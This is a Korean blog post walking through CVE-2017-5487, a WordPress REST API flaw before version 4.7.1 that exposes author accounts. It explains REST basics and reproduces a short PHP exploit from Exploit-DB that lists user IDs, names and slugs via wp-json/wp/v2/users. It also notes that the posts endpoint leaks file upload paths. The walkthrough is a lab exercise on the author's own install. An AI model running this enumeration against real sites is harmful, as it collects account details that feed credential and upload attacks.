1. CVE-2017-5487이란?
: 워드프레스 4.7.1 이전의 버전에서 wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php에 있는 REST API 구현에 있어 게시자 목록을 제한하지 않아 원격 공격자가 wp-json/wp/v2/users 요청을 통해 중요한 정보를 얻을 수 있는 취약점.
( 참고 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487 )
무슨 말인지 모르겠으니 배경지식에 대해 알아본 뒤 실습을 통해 알아보도록 하자.
만약 배경지식이 필요없다 생각이 든다면 [3]부터 보면 된다.
2. REST API란?
: 간단히 말하자면 "무엇을 어떻게 한다" 를 정의한 API를 REST API라고 할 수 있다.
: 좀 더 자세히 설명하자면 HTTP URI로 정의된 리소스를 HTTP Method와 Payload를 이용하여 어떻게 한다는 것이 REST API이다.
: REST = REpresentational State Transter의 약자
2.1 HTTP URI로 정의된 리소스
: 리소스란 처리되는 대상을 의미
ex) JSON, XML 문서, jpg 등 이미지 파일, mp4 등 비디오 파일 등등..
: URI란 Uniform Resource Identifier의 약자로 통합 자원 식별자이다. 우리가 흔히 보는 URL도 URI의 일부인데 어떠한 자원을 식별하는 것을 말한다.
ex) http://rootable.tistory.com/user/test 를 통해 test라는 유저에 대한 정보를 획득할 수 있다면 이도 또한 URI이다.
2.2 HTTP Method
: 해당 메소드는 리소스가 어떤 형식이던지 상관없이 똑같이 동작한다.
: REST API에서 사용되는 메소드는 POST, GET, PUT, PATCH, DELETE 등이 있다. 주의할 점은 우리가 생각하는 기능과는 다르다는 점이다. 예를 들어 POST같은 경우 우리는 서버로 데이터나 문서를 요청할 때 사용하는 메소드라 생각하는데 REST API같은 경우는 생성(create) 기능을 한다.
* HTTP Method와 CRUD 연산 정리
HTTP Method |
CRUD 연산 |
POST |
create |
GET |
read |
PUT |
update / replace |
PATCH |
update / modify |
DELETE |
delete |
* CRUD 연산이란 컴퓨터 소프트웨어가 기본적으로 데이터 처리할 때 사용하는 Create, Read, Update, Delete를 묶어서 일컫는 말이다.
ex) http://rootable.tistory.com의 users에 doni라는 사용자를 추가하라는 REST API
POST http://rootable.tistroy.com/users/doni
ex) 사용자 생성 시 직업, 나이, 성별 등 다양한 특성이 필요할 경우 XML이나 JSON 같은 다양한 표현 언어를 Body 부분에 명시하여 등록
POST http://rootable.tistory.com/users Content-Type: application/json
{
"username" : "doni"
"age" : "27"
}
3. 워드프레스의 REST API
: REST API가 리소스를 어떻게 하겠다는 미리 정의된 API라 하였다. 그렇다면 워드프레스에서 정의한 REST API는 무엇이 있을까?
아래의 표를 참고하자.
Resource | Base Route |
---|---|
Posts | /wp/v2/posts |
Post Revisions | /wp/v2/revisions |
Categories | /wp/v2/categories |
Tags | /wp/v2/tags |
Pages | /wp/v2/pages |
Comments | /wp/v2/comments |
Taxonomies | /wp/v2/taxonomies |
Media | /wp/v2/media |
Users | /wp/v2/users |
Post Types | /wp/v2/types |
Post Statuses | /wp/v2/statuses |
Settings | /wp/v2/settings |
여러가지 REST API가 정의된 것을 볼 수 있다. 여기서 우리가 이번에 알아볼 CVE에서 나온 /wp/v2/users가 있는 것을 알 수 있다.
4. CVE 활용
4.1. 글작성자에 대한 정보 획득
- 아래는 EXPLOIT DB에서 찾은 코드이다. ( https://www.exploit-db.com/exploits/41497/ )
- 코드를 보면 알 수 있듯이 그냥 처리 결과를 깔끔하게 정리하여 화면에 뿌려주는게 다다. 굳이 이 익스플로잇 코드를 이용하지 않고 직접접근하여도 정보를 얻을 수는 있으므로 깔끔하게 보이기 위해 FU 취약점까지 갈 필요는 없다고 본다.
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https:
//mateuslino.tk
header (
'Content-type: text/html; charset=UTF-8'
);
$payload
=
"wp-json/wp/v2/users/"
;
$urli
=
file_get_contents
(
$url
.
$payload
);
$json
= json_decode(
$urli
, true);
if
(
$json
){
echo
"*-----------------------------*\n"
;
foreach
(
$json
as
$users
){
echo
"[*] ID : |"
.
$users
[
'id'
] .
"|\n"
;
echo
"[*] Name: |"
.
$users
[
'name'
] .
"|\n"
;
echo
"[*] User :|"
.
$users
[
'slug'
] .
"|\n"
;
echo
"\n"
;
}
echo
"*-----------------------------*"
;}
else
{
echo
"[*] No user"
;}
?>
이를 wordpress를 설치한 곳에 php코드로 저장 후 실행시키면 아래와 같이 결과가 뜬다.
직접 접근할 경우는 아래와 같이 보인다. (잘 안보인다면 클릭)
이를 통해 알 수 있는 정보는 글을 작성한 사용자에 대한 ID, name 등 정보를 획득할 수 있다
참고) 회원가입되어 있는 모든 사용자가 보이는줄 알았지만 테스트한 결과 글 작성자의 계정만 보이는 것이다. CVE 설명을 보면 author라는 단어가 있는데 이게 바로 작성자의 의미인 듯 하다.
4.2 파일업로드 경로 획득
Wordpress에서의 REST API 중 /wp/v2/posts가 있다. 이에 접근하면 아래와 같이 포스팅한 글에 대한 정보가 보이는데 이 중 표시한 것처럼 파일업로드 경로를 획득할 수 있다. FU 취약점이 발견된다면 큰 도움이 될 것으로 보인다.
- posts를 할 경우 너무 많은 정보가 떠 불편할 경우 [ /wp-json/wp/v2/posts/20 ] 로 접근한다면 20번째 글에 대한 정보만 획득할 수 있다.
5. 참고
4.7 버전에서도 setting을 보거나 글을 수정하는 것은 불가능한 것으로 보인다,
- 세팅을 보려할 경우엔 rest_forbidden이 뜨며 접근이 금지된다.
- 첫번째 글을 수정하려 할 경우 글을 읽을 수 없다는 메시지가 뜬다.
- user를 보는 것보다 이게 더 큰 것일 텐데 조금 아쉽다.. 검색 결과 이에 해당하는 취약점은 없는 것으로 보인다. 다만 4.7.1 이전의 버전에 대해 타사용자의 글을 수정할 수 있는 취약점이 존재하는 것으로 보인다. 이는 다음 포스팅에서 진행하도록 하겠다.
참고)
1. REST API 설명 : http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770
2. 유니코드 번역 : http://koreanstudies.com/unicode-converter.html
3. 다운그레이드 (하다가 진행이 안되서 다시 설치했으므로 안새로 설치하는 것을 추천한다)
: http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/
'Hacking > Web' 카테고리의 다른 글
자바스크립트 난독화 (0) | 2018.05.01 |
---|---|
보안진단 크롬 플러그인 (0) | 2018.04.17 |
Injection PHP Code (0) | 2018.03.24 |
Oracle 을 통해 JAVA 코드 사용 (0) | 2018.02.05 |
XXE Injection (0) | 2018.02.01 |